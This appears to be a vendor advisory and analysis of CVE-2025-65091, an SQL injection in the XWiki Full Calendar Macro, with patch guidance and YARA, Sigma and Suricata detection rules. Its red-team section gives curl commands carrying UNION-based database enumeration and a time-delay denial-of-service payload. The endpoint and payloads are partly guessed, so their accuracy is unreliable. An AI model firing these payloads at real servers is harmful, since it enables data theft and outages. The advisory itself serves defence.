CVE-2025-65091

Executive Summary

CVE-2025-65091 is a critical SQL injection vulnerability in the XWiki Full Calendar Macro, affecting versions prior to 2.4.5. The flaw resides in the Calendar.JSONService page, allowing any user with view rights (including unauthenticated guests) to inject arbitrary SQL commands. This can lead to full database compromise, data exfiltration, or denial-of-service attacks. The CVSS score of 10.0 reflects the ease of exploitation (network-based, no authentication required) and the potential for complete confidentiality, integrity, and availability impact. No public proof-of-concept or exploit code is currently available, but the risk is severe due to the unpatched status and widespread use of XWiki.

Supply Chain & Package Security

This vulnerability affects the XWiki Full Calendar Macro, which is a third-party extension for the XWiki platform. Users should verify their extension version and update to 2.4.5 or later. The package is typically distributed via the XWiki Extension Manager or Maven. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required and the potential for complete system compromise. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as details emerge.

Deep Dive & Mechanics

The vulnerability exists in the Calendar.JSONService page, which processes calendar data requests. The service fails to properly sanitize user-supplied input before incorporating it into SQL queries. An attacker can craft a malicious request to the JSON service endpoint, injecting SQL commands that are executed against the underlying database. This can be used to extract sensitive data, modify database contents, or trigger resource exhaustion via DoS.

The injection point is likely in parameters such as start, end, or other filter criteria passed to the service. The lack of parameterized queries or input validation allows direct SQL injection.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.4.5):

// Example vulnerable code pattern
String query = "SELECT * FROM calendar_events WHERE start >= '" + request.getParameter("start") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (2.4.5):

// Example patched code using parameterized queries
String query = "SELECT * FROM calendar_events WHERE start >= ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("start"));
ResultSet rs = pstmt.executeQuery();

The patch introduces prepared statements, preventing SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy XWiki with Full Calendar Macro version < 2.4.5 (e.g., 2.4.4).
2. Ensure the Calendar.JSONService is accessible without authentication.
3. Use a tool like curl or Burp Suite to send malicious requests.

Exploitation Steps:

1. Identify the vulnerable endpoint: /rest/calendar/JSONService?action=getEvents&start=2025-01-01&end=2025-12-31
2. Inject SQL via the start parameter:

   curl "http://target/rest/calendar/JSONService?action=getEvents&start=2025-01-01' UNION SELECT 1,2,3,4,5,6,7,8,9,10--&end=2025-12-31"
   

3. Extract database information:

   curl "http://target/rest/calendar/JSONService?action=getEvents&start=2025-01-01' UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--&end=2025-12-31"
   

4. For DoS, use a heavy query:

   curl "http://target/rest/calendar/JSONService?action=getEvents&start=2025-01-01' OR 1=1; WAITFOR DELAY '0:0:10'--&end=2025-12-31"
   

Blue Team

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests to /rest/calendar/JSONService with suspicious characters (single quotes, UNION, SELECT).
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Hunting:

• Search logs for Calendar.JSONService requests with start or end parameters containing SQL keywords.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /rest/calendar/JSONService with parameters containing SQL syntax (e.g., ', UNION, SELECT, OR 1=1).
• Logs: Database error messages indicating SQL syntax errors or unexpected query results.
• System: Unusual database queries or high CPU/memory usage from the XWiki process.
• File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_65091_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts against XWiki Full Calendar Macro"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65091"
    strings:
        $s1 = "/rest/calendar/JSONService" nocase
        $s2 = "start=" nocase
        $s3 = "end=" nocase
        $sql1 = /['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|WAITFOR|BENCHMARK)/i
    condition:
        $s1 and ($s2 or $s3) and $sql1
}

Sigma Rule

title: XWiki Full Calendar Macro SQL Injection Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against the Calendar.JSONService endpoint
author: Valters IT
date: 2025/04/10
references:
    - CVE-2025-65091
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/rest/calendar/JSONService"
        cs-uri-query|re: 'start=.*['\''\"]|end=.*['\''\"]|UNION|SELECT|OR 1=1'
    condition: selection
falsepositives:
    - Legitimate use of special characters in calendar parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65091 XWiki Full Calendar Macro SQL Injection Attempt"; flow:to_server; content:"/rest/calendar/JSONService"; http_uri; pcre:"/(start|end)=.*['\''\"]|UNION|SELECT|OR 1=1/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade XWiki Full Calendar Macro to version 2.4.5 or later.
2. Workaround: Restrict access to the Calendar.JSONService page to authenticated users only via XWiki rights management.
3. Network: Implement WAF rules to block SQL injection patterns.
4. Monitoring: Enable detailed logging for the calendar service and monitor for suspicious activity.
5. Database: Use least-privilege database accounts for XWiki to limit damage from successful injection.

Valters IT